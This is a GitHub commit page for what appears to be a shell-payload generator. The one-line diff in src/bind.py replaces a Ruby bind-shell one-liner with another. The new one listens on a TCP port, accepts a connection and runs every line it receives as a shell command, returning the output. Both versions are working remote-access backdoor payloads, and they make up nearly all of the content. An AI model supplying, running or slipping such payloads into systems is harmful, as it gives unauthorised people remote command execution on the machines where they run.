Skip to content

Commit

Permalink
Fixing ruby shell, thanks to @capnspacehook
Browse files Browse the repository at this point in the history
  • Loading branch information
zc00l committed Jul 23, 2018
1 parent 93e2ed2 commit 777b17c
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion src/bind.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ def BIND_PHP_UDP():


def BIND_RUBY_TCP():
return """ruby -rsocket -e 'f=TCPServer.new(PORT);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'"""
return """ruby -rsocket -e 'f=TCPServer.new(PORT);c=f.accept;f.close();$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'"""


def BIND_RUBY_UDP():
Expand Down

0 comments on commit 777b17c

Please sign in to comment.